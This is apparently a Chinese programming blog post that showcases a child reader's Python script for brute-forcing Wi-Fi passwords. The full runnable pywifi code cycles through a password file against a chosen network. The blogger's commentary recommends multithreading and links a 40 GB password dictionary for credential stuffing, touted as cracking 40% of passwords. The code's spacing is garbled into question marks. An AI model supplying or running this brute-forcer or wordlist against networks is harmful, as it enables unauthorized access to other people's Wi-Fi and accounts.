12歲小讀者使用Python暴力破解Wi-Fi密碼
這一代后浪在父母的光環(huán)加持下,猛點(diǎn)技能點(diǎn)。有些從小學(xué)開(kāi)始敲基因,有些一天能寫(xiě)2000首詩(shī),有些發(fā)表的論文已經(jīng)達(dá)到碩士畢業(yè)水平。但是在編程領(lǐng)域還有另外一群后浪,有些僅僅靠著自己的自學(xué)開(kāi)始做游戲,建網(wǎng)站,在同齡人的互聯(lián)網(wǎng)領(lǐng)域里叱詫風(fēng)云
像之前還有小讀者問(wèn)行哥現(xiàn)在12歲已經(jīng)學(xué)完P(guān)ython基礎(chǔ),不知道對(duì)Python的其它方向該如何選擇

這不,就有小讀者給行哥投稿,他寫(xiě)代碼生成密碼本,并利用pywifi工具包對(duì)自家Wi-Fi進(jìn)行暴力破解,下文分享給大家看看
1.投稿內(nèi)容
Hello我是狂飆 今天來(lái)分享一些我對(duì)Python破解WiFi的一些看法,思路如下:
1.首先我們需要生成密碼本, 因?yàn)榇蟛糠謜ifi密碼為八位數(shù)字, 所以我們就生成八位數(shù)字密碼本。
2.然后判斷電腦是否連接wifi
3.創(chuàng)建wifi連接文件,選擇要連接wifi名稱,檢查加密單元
4.接下來(lái)刪除所有連接過(guò)的wifi 判斷wifi是否連接。
5.最后需要一個(gè)八位以上的密碼本,一行一行讀取就可以了。
完整的代碼就發(fā)給大家了 不要忘記生成密碼本,然后說(shuō)找不到password.txt的文件啊
#?coding:utf-8
import?pywifi
from?pywifi?import?const
import?time
#測(cè)試連接,返回鏈接結(jié)果
#抓取網(wǎng)卡接口(改進(jìn))
#wifi?=?pywifi.PyWiFi()
#獲取第一個(gè)無(wú)線網(wǎng)卡
#ifaces?=?wifi.interfaces()[0]
def?wifiConnect(pwd):
????#抓取網(wǎng)卡接口(原版)
????wifi?=?pywifi.PyWiFi()
????#獲取第一個(gè)無(wú)線網(wǎng)卡
????ifaces?=?wifi.interfaces()[0]
????#斷開(kāi)所有連接
????ifaces.disconnect()
????time.sleep(1)
????wifistatus?=?ifaces.status()
????if?wifistatus?==?const.IFACE_DISCONNECTED:
????????#創(chuàng)建WiFi連接文件
????????profile?=?pywifi.Profile()
????????#要連接WiFi的名稱
????????profile.ssid?=?"wifi名稱"
????????#網(wǎng)卡的開(kāi)放狀態(tài)
????????profile.auth?=?const.AUTH_ALG_OPEN
????????#wifi加密算法,一般wifi加密算法為wps
????????profile.akm.append(const.AKM_TYPE_WPA2PSK)
????????#加密單元
????????profile.cipher?=?const.CIPHER_TYPE_CCMP
????????#調(diào)用密碼
????????profile.key?=?pwd
????????#刪除所有連接過(guò)的wifi文件
????????ifaces.remove_all_network_profiles()
????????#設(shè)定新的連接文件
????????tep_profile?=?ifaces.add_network_profile(profile)
????????ifaces.connect(tep_profile)
????????#wifi連接時(shí)間
????????time.sleep(3)
????????if?ifaces.status()?==?const.IFACE_CONNECTED:
????????????return?True
????????else:
????????????return?False
????else:
????????print("已有wifi連接")
#讀取密碼本
def?readPassword():
????print("開(kāi)始破解:")
????#密碼本路徑
????path?=?r"C:\Users\電腦路徑\Desktop\password.txt"
????#打開(kāi)文件
????file?=?open(path,?"r")
????while?True:
????????try:
????????????#一行一行讀取
????????????pad?=?file.readline()
????????????bool?=?wifiConnect(pad)
????????????if?bool:
????????????????print("密碼已破解:?",?pad)
????????????????print("WiFi已自動(dòng)連接!!!")
????????????????break
????????????else:
????????????????#跳出當(dāng)前循環(huán),進(jìn)行下一次循環(huán)
????????????????print("密碼破解中....密碼校對(duì):?",?pad)
????????except:
????????????continue
readPassword()
注:上述方法僅供學(xué)習(xí)討論
下圖為實(shí)際運(yùn)行結(jié)果,我們修改對(duì)應(yīng)wifi的名稱,直接運(yùn)行就可以了!
雖然這樣的方法確實(shí)有用,只可惜效率實(shí)在是太低了,我在運(yùn)行到第99…9次的時(shí)候終于忍不住,把WiFi密碼改簡(jiǎn)單了。再運(yùn)行一下,成功!
2.行哥說(shuō)兩句
對(duì)于12歲的學(xué)生來(lái)說(shuō),能夠靈活使用Python工具包實(shí)現(xiàn)功能,并且自行配置好環(huán)境非常難得。
這里行哥也提出了兩點(diǎn)可以改進(jìn)的地方
暴力破解單線程太慢,可以嘗試使用任務(wù)處理 密碼比較單一,可以從網(wǎng)上尋找密碼庫(kù)來(lái)嘗試撞庫(kù),行哥找了40G的密碼庫(kù),大家可以在文末的鏈接處進(jìn)行下載哦,據(jù)說(shuō)可以破解40%的密碼
那么后浪來(lái)了,還在學(xué)Python的你有如何感想?

推薦閱讀
(點(diǎn)擊標(biāo)題可跳轉(zhuǎn)閱讀)
40 G密碼庫(kù)鏈接:https://yihang.cowtransfer.com/s/f7da87a6ead146
